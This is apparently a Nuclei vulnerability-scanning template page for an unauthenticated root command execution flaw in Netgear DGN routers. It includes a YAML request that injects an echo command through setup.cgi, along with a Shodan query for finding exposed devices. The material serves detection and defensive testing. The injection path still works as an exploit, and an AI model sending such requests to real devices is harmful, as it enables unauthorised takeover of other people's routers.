Netgear DGN Devices - Command Execution

ID: netgear-dgn-rce

Severity: critical

Author: 3th1c_yuk1

Tags: rce,netgear,dgn

Description

This template checks for unauthenticated command execution vulnerability in Netgear DGN devices. Attackers can bypass authentication mechanisms and execute arbitrary commands with root privileges.

YAML Source

id: netgear-dgn-rce

info:
  name: Netgear DGN Devices - Command Execution
  author: 3th1c_yuk1
  severity: critical
  description: |
    This template checks for unauthenticated command execution vulnerability in Netgear DGN devices. Attackers can bypass authentication mechanisms and execute arbitrary commands with root privileges.
  reference:
    - https://www.crowdsec.net/blog/netgear-rce-and-how-vulnerabilities-persist-in-the-wild
    - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/linux/http/netgear_dgn1000_setup_unauth_exec.md
  metadata:
    verified: true
    max-request: 1
    shodan-query: "NETGEAR DGN"
  tags: rce,netgear,dgn

http:
  - method: GET
    path:
      - "{{BaseURL}}/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=echo%20{{randstr}}&curpath=/&currentsetting.htm=1"

    matchers:
      - type: dsl
        dsl:
          - "contains(body, '{{randstr}}')"
          - "!contains(body, 'echo {{randstr}}')"
          - "!contains(body, 'echo%20{{randstr}}')"
          - "contains(content_type, 'text/plain')"
          - "status_code== 200"
        condition: and
# digest: 4b0a00483046022100bac035fd18d0b6b02910b3d4ce04a10709eb26d33c2e03aab8ccc4730067f86c022100aab4866f87fb044bcbba30a23aa8e7519f798ad27660e0ac8f87908dfc822a39:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/netgear/netgear-dgn-rce.yaml"

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